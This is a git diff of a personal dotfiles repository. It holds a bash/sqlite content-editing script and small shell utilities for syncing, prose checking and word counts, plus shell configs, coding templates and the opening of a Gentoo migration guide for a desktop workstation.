slug='$slug'")" - importance="$(sql "SELECT importance FROM $type WHERE slug='$slug'")" - printf " │ %-14s %s\n" "Status:" "$status" - printf " │ %-14s %s\n" "Confidence:" "$confidence" - printf " │ %-14s %s\n" "Importance:" "$importance" - fi - - if [[ "$type" == "news" ]]; then - local pub - pub="$(sql "SELECT publication FROM $type WHERE slug='$slug'")" - printf " │ %-14s %s\n" "Publication:" "$pub" - fi - - printf " │ %-14s %s\n" "State:" "$state" - echo " └──────────────────────────────────────────" - echo -} - -############################################################################### -# field editing -- nnn/fzf mode (for -data) -############################################################################### - -edit_tags_nnn() { - local type="$1" slug="$2" - - local id - id="$(sql "SELECT id FROM $type WHERE slug='$slug'")" - - echo - echo " Current tags:" - sql "SELECT t.slug FROM tags t JOIN content_tags ct ON ct.tag_id = t.id WHERE ct.content_type = '$type' AND ct.content_id = $id ORDER BY t.slug" | while read -r tag; do - echo " - $tag" - done - - echo - echo " Actions: [a]dd tag, [r]emove tag, [d]one" - while true; do - read -rp " tag> " action - case "$action" in - a|add) - local new_tag - new_tag="$( - sql "SELECT slug FROM tags ORDER BY slug" | - fzf --prompt="add tag> " --height=20 --reverse - )" || continue - - local existing - existing="$(sql "SELECT COUNT(*) FROM content_tags WHERE content_type='$type' AND content_id=$id AND tag_id=(SELECT id FROM tags WHERE slug='$new_tag')")" - if [[ "$existing" -gt 0 ]]; then - echo " Tag '$new_tag' already linked." - continue - fi - - local tag_id - tag_id="$(sql "SELECT id FROM tags WHERE slug='$new_tag'")" - sql "INSERT INTO content_tags (content_type, content_id, tag_id) VALUES ('$type', $id, $tag_id)" - echo " Added tag: $new_tag" - ;; - r|remove) - local rm_tag - rm_tag="$( - sql "SELECT t.slug FROM tags t JOIN content_tags ct ON ct.tag_id = t.id WHERE ct.content_type = '$type' AND ct.content_id = $id ORDER BY t.slug" | - fzf --prompt="remove tag> " --height=10 --reverse - )" || continue - - sql "DELETE FROM content_tags WHERE content_type='$type' AND content_id=$id AND tag_id=(SELECT id FROM tags WHERE slug='$rm_tag')" - echo " Removed tag: $rm_tag" - ;; - d|done|q|quit) - break - ;; - *) - echo " Unknown action. Use [a]dd, [r]emove, or [d]one." - ;; - esac - done -} - -edit_field_nnn() { - local type="$1" slug="$2" field="$3" - local new_value="" - - case "$field" in - title|preview) - local current - current="$(sql "SELECT $field FROM $type WHERE slug='$slug'")" - echo " Current $field: $current" - read -rp " New $field: " new_value - [[ -z "$new_value" ]] && return - new_value="${new_value//\'/\'\'}" - sql "UPDATE $type SET $field='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - echo " Updated $field." - ;; - category_slug) - new_value="$( - sql "SELECT slug FROM categories ORDER BY slug" | - fzf --prompt="category> " --height=20 --reverse - )" || return - sql "UPDATE $type SET category_slug='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - echo " Updated category to: $new_value" - ;; - tags) - edit_tags_nnn "$type" "$slug" - ;; - status) - new_value="$( - printf "%s\n" "${VALID_STATUSES[@]}" | - fzf --prompt="status> " --height=10 --reverse - )" || return - sql "UPDATE $type SET status='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - echo " Updated status to: $new_value" - ;; - confidence) - new_value="$( - printf "%s\n" "${VALID_CONFIDENCES[@]}" | - fzf --prompt="confidence> " --height=12 --reverse - )" || return - sql "UPDATE $type SET confidence='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - echo " Updated confidence to: $new_value" - ;; - importance) - read -rp " Importance (1-10): " new_value - if [[ "$new_value" =~ ^[0-9]+$ ]] && (( new_value >= 1 && new_value <= 10 )); then - sql "UPDATE $type SET importance=$new_value, updated_at=datetime('now') WHERE slug='$slug'" - echo " Updated importance to: $new_value" - else - echo " Invalid. Must be 1-10." - fi - ;; - publication) - new_value="$( - printf "%s\n" "${NEWS_PUBS[@]}" | - fzf --prompt="publication> " --height=5 --reverse - )" || return - sql "UPDATE $type SET publication='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - echo " Updated publication to: $new_value" - ;; - state) - new_value="$( - printf "%s\n" "${VALID_STATES[@]}" | - fzf --prompt="state> " --height=5 --reverse - )" || return - sql "UPDATE $type SET state='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - echo " Updated state to: $new_value" - ;; - *) - echo " Unknown field: $field" - ;; - esac -} - -############################################################################### -# field editing -- dmenu mode (for -data) -############################################################################### - -edit_field_dmenu() { - local type="$1" slug="$2" field="$3" - local current new_value - - case "$field" in - title|preview) - current="$(sql "SELECT $field FROM $type WHERE slug='$slug'")" - new_value="$(echo "$current" | dmenu -p "$field:")" - [[ -z "$new_value" ]] && return - new_value="${new_value//\'/\'\'}" - sql "UPDATE $type SET $field='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - notify "Updated $field" - ;; - category_slug) - new_value="$(sql "SELECT slug FROM categories ORDER BY slug" | dmenu -i -l 15 -p "category:")" - [[ -z "$new_value" ]] && return - sql "UPDATE $type SET category_slug='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - notify "Category: $new_value" - ;; - tags) - local id - id="$(sql "SELECT id FROM $type WHERE slug='$slug'")" - local action - action="$(printf "add\nremove" | dmenu -i -p "tags:")" - [[ -z "$action" ]] && return - - if [[ "$action" == "add" ]]; then - local tag - tag="$(sql "SELECT slug FROM tags ORDER BY slug" | dmenu -i -l 20 -p "add tag:")" - [[ -z "$tag" ]] && return - local tag_id - tag_id="$(sql "SELECT id FROM tags WHERE slug='$tag'")" - [[ -z "$tag_id" ]] && return - sql "INSERT OR IGNORE INTO content_tags (content_type, content_id, tag_id) VALUES ('$type', $id, $tag_id)" - notify "Added tag: $tag" - else - local tag - tag="$(sql "SELECT t.slug FROM tags t JOIN content_tags ct ON ct.tag_id=t.id WHERE ct.content_type='$type' AND ct.content_id=$id ORDER BY t.slug" | dmenu -i -l 10 -p "remove:")" - [[ -z "$tag" ]] && return - sql "DELETE FROM content_tags WHERE content_type='$type' AND content_id=$id AND tag_id=(SELECT id FROM tags WHERE slug='$tag')" - notify "Removed tag: $tag" - fi - ;; - status) - new_value="$(printf "Notes\nDraft\nIn Progress\nFinished\nAbandoned" | dmenu -i -l 5 -p "status:")" - [[ -z "$new_value" ]] && return - sql "UPDATE $type SET status='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - notify "Status: $new_value" - ;; - confidence) - new_value="$(printf "certain\nhighly likely\nlikely\npossible\nunlikely\nhighly unlikely\nremote\nimpossible" | dmenu -i -l 8 -p "confidence:")" - [[ -z "$new_value" ]] && return - sql "UPDATE $type SET confidence='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - notify "Confidence: $new_value" - ;; - importance) - new_value="$(seq 1 10 | dmenu -i -l 10 -p "importance:")" - [[ -z "$new_value" ]] && return - sql "UPDATE $type SET importance=$new_value, updated_at=datetime('now') WHERE slug='$slug'" - notify "Importance: $new_value" - ;; - publication) - new_value="$(printf '%s\n' "${NEWS_PUBS[@]}" | dmenu -i -l 3 -p "publication:")" - [[ -z "$new_value" ]] && return - sql "UPDATE $type SET publication='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - notify "Publication: $new_value" - ;; - state) - new_value="$(printf "active\nhidden" | dmenu -i -l 2 -p "state:")" - [[ -z "$new_value" ]] && return - sql "UPDATE $type SET state='$new_value', updated_at=datetime('now') WHERE slug='$slug'" - notify "State: $new_value" - ;; - esac -} - -############################################################################### -# entry selection helpers -############################################################################### - -select_entry_fzf() { - local type="$1" filter_pub="${2:-}" - - local query="SELECT title || ' (' || slug || ')' || char(9) || slug FROM $type WHERE state != '' " - [[ -n "$filter_pub" ]] && query+="AND publication = '$filter_pub' " - query+="ORDER BY title" - - sql "$query" | - fzf --prompt="$type> " --delimiter=$'\t' --with-nth=1 \ - --preview="sqlite3 '$DB' \"SELECT 'Title: ' || title || char(10) || 'Preview: ' || COALESCE(preview,'') || char(10) || 'Category: ' || COALESCE(category_slug,'') || char(10) || 'State: ' || COALESCE(state,'active') FROM $type WHERE slug='{2}'\"" \ - --height=80% --reverse | - awk -F'\t' '{print $2}' -} - -select_entry_nnn_browse() { - local type="$1" - local content_path="$CONTENT_DIR/$type" - - [[ ! -d "$content_path" ]] && { echo ""; return; } - - local tmpfile - tmpfile="$(mktemp)" - - NNN_TMPFILE="$tmpfile" nnn -p "$tmpfile" "$content_path" - - if [[ -s "$tmpfile" ]]; then - local selected - selected="$(cat "$tmpfile")" - rm -f "$tmpfile" - basename "$selected" .mdx - else - rm -f "$tmpfile" - echo "" - fi -} - -############################################################################### -# mode: -nnn -data -############################################################################### - -run_nnn_data() { - check_deps_nnn - check_deps_data - - clear - print_banner_data - - while true; do - local selection - selection="$(fzf_menu | fzf --prompt="data> " --height=20 --reverse)" || exit 0 - - [[ "$selection" == "quit" ]] && exit 0 - - selection="${selection## }" - local type - type="$(db_type_for "$selection")" - - # Determine publication filter for news - local pub_filter="" - case "$selection" in - the-soapbox|field-notes|off-the-record) pub_filter="$selection" ;; - esac - - local mode - mode="$( - printf "%s\n" "fzf (search by title)" "nnn (browse files)" "back" | - fzf --prompt="select via> " --height=5 --reverse - )" || continue - - [[ "$mode" == "back" ]] && continue - - local slug="" - if [[ "$mode" == *"fzf"* ]]; then - slug="$(select_entry_fzf "$type" "$pub_filter")" || continue - else - slug="$(select_entry_nnn_browse "$type")" || continue - fi - - [[ -z "$slug" ]] && continue - - local count - count="$(sql "SELECT COUNT(*) FROM $type WHERE slug='$slug'")" - if [[ "$count" -eq 0 ]]; then - echo " Slug '$slug' not found in $type table." - read -rp " Press Enter..." _ - continue - fi - - while true; do - clear - print_banner_data - show_metadata "$type" "$slug" - - local fields - if [[ "$type" == "diary" ]]; then - fields=("${DIARY_FIELDS[@]}" "tags" "done") - elif [[ "$type" == "news" ]]; then - fields=("${STANDARD_FIELDS[@]}" "publication" "tags" "done") - else - fields=("${STANDARD_FIELDS[@]}" "tags" "done") - fi - - local field - field="$( - printf "%s\n" "${fields[@]}" | - fzf --prompt="edit field> " --height=14 --reverse - )" || break - - [[ "$field" == "done" ]] && break - - edit_field_nnn "$type" "$slug" "$field" - read -rp " Press Enter..." _ - done - done -} - -############################################################################### -# mode: -dmenu -data -############################################################################### - -run_dmenu_data() { - check_deps_dmenu - check_deps_data - - local raw - raw="$(dmenu_menu | dmenu -i -l 16 -p "data:")" - [[ -z "$raw" ]] && exit 0 - - local selection - selection="$(parse_selection "$raw")" - [[ -z "$selection" ]] && exit 0 - - local type - type="$(db_type_for "$selection")" - - # Publication filter for news subs - local pub_filter="" - case "$selection" in - the-soapbox|field-notes|off-the-record) pub_filter="$selection" ;; - esac - - # Select entry - local query="SELECT title || ' [' || slug || ']' FROM $type " - [[ -n "$pub_filter" ]] && query+="WHERE publication = '$pub_filter' " - query+="ORDER BY title" - - local slug - slug="$( - sql "$query" | - dmenu -i -l 20 -p "$type:" | - sed 's/.*\[\(.*\)\]/\1/' - )" - [[ -z "$slug" ]] && exit 0 - - # Edit loop - while true; do - local fields="title -preview -category_slug -tags -state" - - if [[ "$type" != "diary" ]]; then - fields+=" -status -confidence -importance" - fi - - if [[ "$type" == "news" ]]; then - fields+=" -publication" - fi - - local field - field="$(echo "$fields" | dmenu -i -l 12 -p "field:")" - [[ -z "$field" ]] && break - edit_field_dmenu "$type" "$slug" "$field" - done -} - -############################################################################### -# dispatch -############################################################################### - -case "${UI_MODE}-${ACTION_MODE}" in - nnn-create) run_nnn_create ;; - dmenu-create) run_dmenu_create ;; - nnn-edit) run_nnn_edit ;; - dmenu-edit) run_dmenu_edit ;; - nnn-data) run_nnn_data ;; - dmenu-data) run_dmenu_data ;; -esac diff --git a/.local/bin/watchsync b/.local/bin/watchsync new file mode 100755 index 0000000000000000000000000000000000000000..b52eb489fbf09a3641b35f4a7bf267b2d37c23d2 --- /dev/null +++ b/.local/bin/watchsync @@ -0,0 +1,36 @@ +#!/bin/sh +# watchsync -- watch directory and rsync changes to remote +set -eu + +if [ -z "${1:-}" ] || [ -z "${2:-}" ]; then + echo "Usage: watchsync <local-dir> <remote:path>" >&2 + echo "Requires: fswatch or inotifywait" >&2 + exit 1 +fi + +local="$1" +remote="$2" + +exclude="" +[ -f "$local/.gitignore" ] && exclude="--exclude-from=$local/.gitignore" +[ -d "$local/.git" ] && exclude="$exclude --exclude .git" + +sync_cmd="rsync -iru --size-only $exclude --delete \"$local/\" \"$remote/\"" + +echo "[*] Watching $local -> $remote" +eval "$sync_cmd" + +if command -v fswatch >/dev/null 2>&1; then + fswatch -o "$local" | while read -r _; do + echo "[$(date +%H:%M:%S)] syncing..." + eval "$sync_cmd" + done +elif command -v inotifywait >/dev/null 2>&1; then + while inotifywait -r -e modify,create,delete "$local" >/dev/null 2>&1; do + echo "[$(date +%H:%M:%S)] syncing..." + eval "$sync_cmd" + done +else + echo "Install fswatch or inotifywait for live watching" >&2 + exit 1 +fi diff --git a/.local/bin/weasel b/.local/bin/weasel new file mode 100755 index 0000000000000000000000000000000000000000..56a08ced38965c25b5abc0e231a6b313ec5f0150 --- /dev/null +++ b/.local/bin/weasel @@ -0,0 +1,15 @@ +#!/usr/bin/env bash +# weasel -- find weasel words in prose +weasels="many|various|very|fairly|several|extremely|\ +exceedingly|quite|remarkably|few|surprisingly|\ +mostly|largely|huge|tiny|excellent|interestingly|\ +significantly|substantially|clearly|vast|relatively|\ +completely|literally|not unlike|outside the scope|\ +arguably|to some extent|in some sense" + +if [ "$1" = "" ]; then + echo "Usage: $(basename "$0") <file> ..." + exit 1 +fi + +egrep -i -n --color "\\b($weasels)\\b" "$@" diff --git a/.local/bin/wordlog b/.local/bin/wordlog new file mode 100755 index 0000000000000000000000000000000000000000..766b06366b38e6d7a0c88b1110b72ba6d0c6b209 --- /dev/null +++ b/.local/bin/wordlog @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# wordlog -- track daily word count progress +dir="${1:-.}" +csv="$HOME/.local/share/wordcount.csv" +date=$(date +%Y-%m-%d) +time=$(date +%H:%M) +mkdir -p "$(dirname "$csv")" +if [ ! -f "$csv" ]; then + echo "date,time,words,files" > "$csv" +fi +words=$(find "$dir" -name '*.md' -exec cat {} + 2>/dev/null | wc -w) +files=$(find "$dir" -name '*.md' 2>/dev/null | wc -l) +echo "$date,$time,$words,$files" >> "$csv" +echo "[$date $time] $words words across $files files" +yesterday_words=$(grep "$(date -d yesterday +%Y-%m-%d 2>/dev/null || date -v-1d +%Y-%m-%d 2>/dev/null)" "$csv" 2>/dev/null | tail -1 | cut -d',' -f3) +if [ -n "$yesterday_words" ]; then + diff=$((words - yesterday_words)) + echo "Change from yesterday: $diff words" +fi diff --git a/.local/share/buku/bookmarks.db b/.local/share/buku/bookmarks.db new file mode 100644 index 0000000000000000000000000000000000000000..141d910c1e338fb64eb84f92ee2ad421ca4c918a GIT binary patch literal 12288 zcmeI#&rX9d90%}%MxDw2+;-%5n<m7#_yVFKaS_oW9Cjj|l!XjNgf7`t-@u3RJ$wwa zlXM1Rmh9+d`8H|!^-BZv!>P|>Cy|2UyvVquE7oJ0#;%DNW38$mRK0GhKCCCzRr^!# zDqHO0<E!2MW_oAMI_vJ|u7$`U009U<00Izz00bZa0SG_<0{<iMcBdWp4MTemC7-5Z zn&<P37xS_y^jpuie4Bjh#<8i1=`4vTSx7Mx1wDDA2g{q#y*)80@Enq2CCPpC$qgKb z0(UeHY?Cq}dBi3Ey&Z{|FH=c_fk~3j%B|F_;z*P)TXB`fsajpXyMD~&`A|RV+lI!H zMI=_`Yg(P?L%x*xW*#<Q9uAvQo#juIYg-LHHK0KN0uX=z1Rwwb2tWV=5P$##Ah53j ir)pz3|L^PX#l9c_0SG_<0uX=z1Rwwb2tWV=8-X8kkYE)6 literal 0 HcmV?d00001 diff --git a/.local/share/buku/links b/.local/share/buku/links new file mode 100644 index 0000000000000000000000000000000000000000..45e1464d3ec09aa221a9f7c771a7ac182204f733 --- /dev/null +++ b/.local/share/buku/links @@ -0,0 +1,3 @@ + + +# cp \ No newline at end of file diff --git a/.local/share/buku/wallets.txt b/.local/share/buku/wallets.txt new file mode 100644 index 0000000000000000000000000000000000000000..8b137891791fe96927ad78e64b0aad7bded08bdc --- /dev/null +++ b/.local/share/buku/wallets.txt @@ -0,0 +1 @@ + diff --git a/.local/share/templates/cp/cpp.cpp b/.local/share/templates/cp/cpp.cpp new file mode 100644 index 0000000000000000000000000000000000000000..47648edcd06a91a092ed91727a3a91b16c4b0e67 --- /dev/null +++ b/.local/share/templates/cp/cpp.cpp @@ -0,0 +1,59 @@ +#include <bits/stdc++.h> +using namespace std; + +// Type aliases +using ll = long long; +using ull = unsigned long long; +using ld = long double; +using pii = pair<int, int>; +using pll = pair<ll, ll>; +using vi = vector<int>; +using vll = vector<ll>; +using vvi = vector<vi>; + +// Constants +const int MOD = 1e9 + 7; +const int INF = 1e9; +const ll LINF = 1e18; +const ld EPS = 1e-9; +const ld PI = acos((ld)-1); + +// Macros +#define all(x) (x).begin(), (x).end() +#define rall(x) (x).rbegin(), (x).rend() +#define sz(x) ((int)(x).size()) +#define pb push_back +#define mp make_pair +#define fi first +#define se second +#define rep(i, a, b) for (int i = (a); i < (b); i++) +#define per(i, a, b) for (int i = (b) - 1; i >= (a); i--) + +// Debug (compiles out when -DLOCAL is not set) +#ifdef LOCAL +#define dbg(...) cerr << "[" << #__VA_ARGS__ << "]: ", _dbg(__VA_ARGS__) +template<class T> void _dbg(T x) { cerr << x << endl; } +template<class T, class... A> void _dbg(T x, A... a) { cerr << x << ", "; _dbg(a...); } +template<class T> void _dbg(vector<T>& v) { for (auto& x : v) cerr << x << " "; cerr << endl; } +#else +#define dbg(...) +#endif + +// I/O +template<class T> inline bool chmin(T& a, T b) { return b < a ? a = b, true : false; } +template<class T> inline bool chmax(T& a, T b) { return a < b ? a = b, true : false; } + +void solve() { + // solution here +} + +int main() { + ios::sync_with_stdio(false); + cin.tie(nullptr); + + int t = 1; + // cin >> t; + while (t--) solve(); + + return 0; +} diff --git a/.local/share/templates/cp/python.py b/.local/share/templates/cp/python.py new file mode 100644 index 0000000000000000000000000000000000000000..3f819038f13b1306d57770fd83cc2c4abb20e521 --- /dev/null +++ b/.local/share/templates/cp/python.py @@ -0,0 +1,21 @@ +import sys +from collections import defaultdict, deque, Counter +from itertools import permutations, combinations, accumulate +from functools import lru_cache +from heapq import heappush, heappop +from bisect import bisect_left, bisect_right +from math import gcd, lcm, isqrt, ceil, floor, log2 + +input = sys.stdin.readline + +def solve(): + pass + +def main(): + t = 1 + # t = int(input()) + for _ in range(t): + solve() + +if __name__ == "__main__": + main() diff --git a/.mkshrc b/.mkshrc index 4911539283c51905babf561e6b0b6933562ed288..6d0521e9f3f2ba8e7d82975a547625a219f2baa9 100644 --- a/.mkshrc +++ b/.mkshrc @@ -13,136 +13,8 @@ PS1='$(print -n "\033[34m")${USER}$(print -n "\033[0m")@$(print -n "\033[35m")$( HISTFILE="$HOME/.mksh_history" HISTSIZE=10000 -# Core utilities -alias cp='cp -iv' -alias mv='mv -iv' -alias rm='rm -vI' -alias mkd='mkdir -pv' -alias grep='grep --color=auto' -alias diff='diff --color=auto' - -# Modern CLI replacements -alias ls='eza --icons --group-directories-first' -alias ll='eza -la --icons --group-directories-first' -alias la='eza -a --icons --group-directories-first' -alias lt='eza --tree --icons --group-directories-first' -alias cat='bat --paging=never' - -# Shortcuts -alias ka='killall' -alias g='git' -alias e='$EDITOR' -alias v='$EDITOR' -alias p='pacman' -alias z='zathura' -alias bin='nnn ~/.local/bin' - -# System -alias logout='pkill -KILL -u krisyotam' -alias lock='slock' -alias shutdown='sudo shutdown now' -alias restart='sudo reboot' - -# Terminal UI -alias mutt='neomutt' -alias top='btop' -alias htop='btop' -alias vim='nvim' - -# Nvim profiles -alias write='NVIM_APPNAME=write nvim' -alias code='NVIM_APPNAME=code nvim' - -# Corpus directories -alias content='cd $HOME/.corpus/content' -alias til='cd $HOME/.corpus/til' -alias sb='cd $HOME/.corpus/slipbox' - -# Tome shortcuts -alias tc='tome -nnn -create' -alias te='tome -nnn -edit' -alias td='tome -nnn -data' - -# Claude Code -alias claude='claude --dangerously-skip-permissions' - -# Git -alias ga='git add' -alias gc='git commit' -alias gp='git push' -alias gl='git pull' -alias gs='git status' -alias gd='git diff' -alias gco='git checkout' -alias gb='git branch' -alias glog='git log --oneline --graph' - -# Sudo -alias sv='sudo nvim' -alias sp='sudo pacman' - -# Edit configs -alias mkshrc='$EDITOR ~/.mkshrc' -alias nvimrc='$EDITOR ~/.config/nvim/init.lua' - -# Applications -alias browser='$BROWSER &' -alias rss='sfeed_curses ~/.sfeed/feeds/*' -alias torrent='rtorrent' - -# Maritime Monitoring (Monarch Suite) -alias ssta='sea-surface-temperature-anomaly' -alias ohci='ocean-heat-content-index' -alias ssm='subsea-seismic-monitor' -alias svm='supervolcano-monitor' -alias kpi='kaiju-probability-index' -alias mc='maritime-charts' - -# Application launchers (backgrounded) -alias warp='warp-terminal >/dev/null 2>&1 &' -alias mouse='mouseless >/dev/null 2>&1 &' - -# Fastfetch -alias ff='fastfetch' - -# --- Functions --- - -# nnn with cd on exit -n() { - if [ -n "$NNNLVL" ] && [ "$NNNLVL" -ge 1 ]; then - echo "nnn is already running" - return - fi - NNN_TMPFILE="${XDG_CONFIG_HOME:-$HOME/.config}/nnn/.lastd" - export NNN_TMPFILE - nnn -Q "$@" - if [ -f "$NNN_TMPFILE" ]; then - . "$NNN_TMPFILE" - rm -f "$NNN_TMPFILE" - fi -} - -# Script editor -- pick and edit scripts in ~/.local/bin -se() { - choice=$(find ~/.local/bin -mindepth 1 -printf '%P\n' | fzf) - [ -n "$choice" ] && [ -f "$HOME/.local/bin/$choice" ] && $EDITOR "$HOME/.local/bin/$choice" -} - -# feedsync -- sync kris.opml into sfeedrc -feedsync() { - opml="$HOME/dev/krisyotam.com/public/kris.opml" - if [ ! -f "$opml" ]; then - echo "feedsync: $opml not found" >&2 - return 1 - fi - sfeed_opml_import <"$opml" >"$HOME/.sfeed/sfeedrc" - echo "sfeedrc updated from kris.opml" -} - -# Launch Google Earth Pro (detached) -earth() { - setsid google-earth-pro >/dev/null 2>&1 & -} +# Source config modules +. "$HOME/.config/.mksh/load.sh" # Zoxide (smarter cd) command -v zoxide >/dev/null 2>&1 && eval "$(zoxide init posix --hook prompt)" diff --git a/.planrc b/.planrc index 2ea81256db0e816db14514515772c52c7417b9ee..6a7233db9d318848875b475e62789941f5afedb2 100644 --- a/.planrc +++ b/.planrc @@ -1 +1,64 @@ -# Plan 9 rc shell config +#!/bin/rc +# Plan 9 rc shell configuration +# Sourced via $rcrc environment variable + +home=$HOME +user=$USER + +# Plan 9 tools +if(test -d /usr/local/plan9){ + PLAN9=/usr/local/plan9 + path=($PLAN9/bin $path) +} + +# PATH as list +path=($home/.local/bin /usr/local/bin /usr/bin /bin $path) + +# Editor +EDITOR=acme +PAGER=nobs + +# Font +font=/lib/font/bit/gomono/Go-Mono.14.font + +# Prompt +prompt=('% ' ' ') + +# Special characters +nl=' +' +tab=' ' + +# cd with directory tracking +prevdir=$home +fn cd { + if(~ $1 '-') + builtin cd $prevdir + if not { + if(! ~ $prevdir $*) prevdir=`{pwd} + builtin cd $* + } + # update acme window label if in acme + if(test -f /dev/label) + echo -n `{pwd}/- > /dev/label >[2]/dev/null +} + +# Source config modules +. $home/.config/.plan9/aliases.rc +. $home/.config/.plan9/functions.rc + +# Machine-specific overrides +if(test -f $home/.config/.plan9/local.rc) + . $home/.config/.plan9/local.rc + +# Plan 9 service startup (plan9port) +if(~ $#PLAN9 1){ + mkdir -p $NAMESPACE + if(! test -e $NAMESPACE/font) fontsrv & + if(! test -e $NAMESPACE/plumb) plumber & +} + +# Interactive setup +if(flag i){ + fn sigexit { } +} diff --git a/.xprofile b/.xprofile index 1db775af457bbb2fa5bec90fdfa334035fb92cd2..dd0d2c16304202721202ec902ddcfe7e6470b837 100755 --- a/.xprofile +++ b/.xprofile @@ -6,6 +6,9 @@ # Add local bin to PATH for scripts export PATH="$HOME/.local/bin:$HOME/.local/bin/statusbar:$PATH" +# Plan 9 rc shell uses ~/.planrc instead of $home/lib/profile +export rcrc="$HOME/.planrc" + # Auto-detect device type and set DPI accordingly DEVICE_TYPE_FILE="${XDG_CONFIG_HOME:-$HOME/.config}/srice/device-type" if [ -f "$DEVICE_TYPE_FILE" ] && [ "$(cat "$DEVICE_TYPE_FILE")" = "laptop" ]; then diff --git a/GENTOO-MIGRATION.md b/GENTOO-MIGRATION.md new file mode 100644 index 0000000000000000000000000000000000000000..059ac28ceea7341e97ecc29a0b7e5c116e1ed348 --- /dev/null +++ b/GENTOO-MIGRATION.md @@ -0,0 +1,381 @@ +# Gentoo Migration Guide for Moirai + +## Hardware Summary + +| Component | Spec | Gentoo Kernel Implications | +|-----------|------|---------------------------| +| CPU | Intel Core Ultra 7 265K (Arrow Lake, 20C, 5.6GHz) | Needs latest kernel (6.8+), no hyperthreading to configure | +| RAM | 30GB | ZRAM swap configured in userspace | +| dGPU | AMD Radeon RX 6800 XT (Navi 21) | `VIDEO_CARDS="amdgpu"`, firmware blobs required | +| iGPU | Intel Arrow Lake (i915/xe) | `VIDEO_CARDS="intel"`, xe driver experimental | +| Storage | 2x NVMe 931G + 1x 1.8T HDD | NVMe + AHCI in kernel | +| Displays | 4 monitors, dual GPU, mixed rotation | Xorg multi-GPU config | + +## Filesystem Choice + +### Recommendation: ext4 for root, XFS for /home and storage + +| Mount | Filesystem | Why | +|-------|-----------|-----| +| `/boot` (1G) | ext4 | Universal bootloader support, simple | +| `/` (50G) | ext4 | Rock-solid, fast fsck, Gentoo wiki assumes ext4 | +| `/home` (880G) | XFS | Excellent large-file performance, scales well, no shrink but you won't need to | +| `/mnt/storage` (1.8T HDD) | XFS | Best for large sequential I/O, HDD-friendly | +| `/mnt/storage2` (931G NVMe) | XFS | Consistent with /home | + +### Why NOT these: + +- **Btrfs**: Tempting for snapshots, but write amplification on NVMe, and you don't need snapshots if you have backups. Adds complexity for marginal gain on a desktop. +- **ZFS**: Requires out-of-tree kernel module, constant rebuilds on kernel updates, memory overhead. Not worth it for a desktop workstation. +- **F2FS**: Designed for flash but less mature tooling, no real advantage over ext4/XFS on desktop NVMe. +- **HAMMER2 (DragonflyBSD)**: Not available on Linux. + +### Partition Layout + +``` +/dev/nvme0n1: + p1: 1G /boot ext4 (EFI system partition if UEFI) + p2: 50G / ext4 + p3: 880G /home XFS + +/dev/nvme1n1: + p1: 931G /mnt/storage2 XFS + +/dev/sda: + p1: 1.8T /mnt/storage XFS +``` + +## Kernel Configuration + +Gentoo's biggest decision: `genkernel` vs manual config. + +**Recommendation: Manual config (`make menuconfig`)**. You have specific hardware that benefits from a tailored kernel. Use your current Arch kernel config as a starting point: + +```bash +zcat /proc/config.gz > /usr/src/linux/.config +make oldconfig +``` + +### Critical kernel options: + +``` +# CPU +CONFIG_MCORE2=y # or CONFIG_GENERIC_CPU for safety +CONFIG_NR_CPUS=20 +CONFIG_PREEMPT_VOLUNTARY=y # desktop responsiveness + +# GPU - AMD +CONFIG_DRM_AMDGPU=m +CONFIG_DRM_AMDGPU_SI=y +CONFIG_DRM_AMDGPU_CIK=y +CONFIG_HSA_AMD=y +CONFIG_AMD_IOMMU=y + +# GPU - Intel (for iGPU monitor) +CONFIG_DRM_I915=m +# CONFIG_DRM_XE=m # experimental xe driver, try if i915 fails on Arrow Lake + +# Storage +CONFIG_BLK_DEV_NVME=y # built-in, not module (boot drive) +CONFIG_SATA_AHCI=y +CONFIG_XFS_FS=y +CONFIG_EXT4_FS=y + +# ZRAM +CONFIG_ZRAM=m +CONFIG_ZSWAP=y +CONFIG_CRYPTO_LZ4=y + +# Audio (pipewire needs ALSA base) +CONFIG_SND_HDA_INTEL=m +CONFIG_SND_USB_AUDIO=m + +# Networking +CONFIG_IWLWIFI=m # if you have Intel WiFi +CONFIG_BT=m # Bluetooth + +# Misc +CONFIG_USB_XHCI_HCD=y +CONFIG_FUSE_FS=m +CONFIG_V4L2_LOOPBACK=m # if needed +``` + +### Firmware + +AMD GPU requires firmware blobs: +```bash +emerge sys-kernel/linux-firmware +# or minimal: just /lib/firmware/amdgpu/navi21* +``` + +## Profile and USE Flags + +### Profile + +```bash +eselect profile set default/linux/amd64/23.0/desktop +``` + +Don't use systemd profile (you'll want OpenRC for simplicity and suckless philosophy alignment). + +### Global USE Flags (`/etc/portage/make.conf`) + +```bash +USE="X vulkan vaapi vdpau alsa pipewire pulseaudio bluetooth + python lua luajit nodejs rust go + zsh-completion fish-completion + -wayland -gnome -kde -systemd -qt5 -qt6 + jpeg png webp gif svg tiff + truetype fontconfig + dbus elogind policykit + lto pgo -debug" + +VIDEO_CARDS="amdgpu intel" +INPUT_DEVICES="libinput" + +# CPU flags (run cpuid2cpuflags after first boot) +CPU_FLAGS_X86="aes avx avx2 avx512f fma3 mmx popcnt sse sse2 sse3 sse4_1 sse4_2 ssse3" + +MAKEOPTS="-j16" # 16 of 20 cores for compiles (leave headroom) +EMERGE_DEFAULT_OPTS="--jobs=4 --load-average=16" + +# Language targets +L10N="en" +PYTHON_TARGETS="python3_12" +LUA_TARGETS="lua5-4 luajit" +``` + +## What to Compile vs Use Binaries + +This is the key Gentoo decision. Your system has 20 cores at 5.6GHz so compilation is fast, but some packages take hours regardless. + +### USE BINARIES (via `getuto` binhost or `-bin` packages) + +| Package | Why binary | +|---------|-----------| +| `www-client/firefox-bin` or `librewolf-bin` | 2+ hour compile, frequent updates, USE flags rarely matter | +| `app-office/libreoffice-bin` | 3+ hour compile, you probably barely use it | +| `dev-lang/rust-bin` | 1+ hour bootstrap, needed as dependency only | +| `dev-lang/go` | Bootstraps itself, binary is fine | +| `dev-util/electron` | Hours to compile, used as runtime only | +| `net-libs/nodejs` 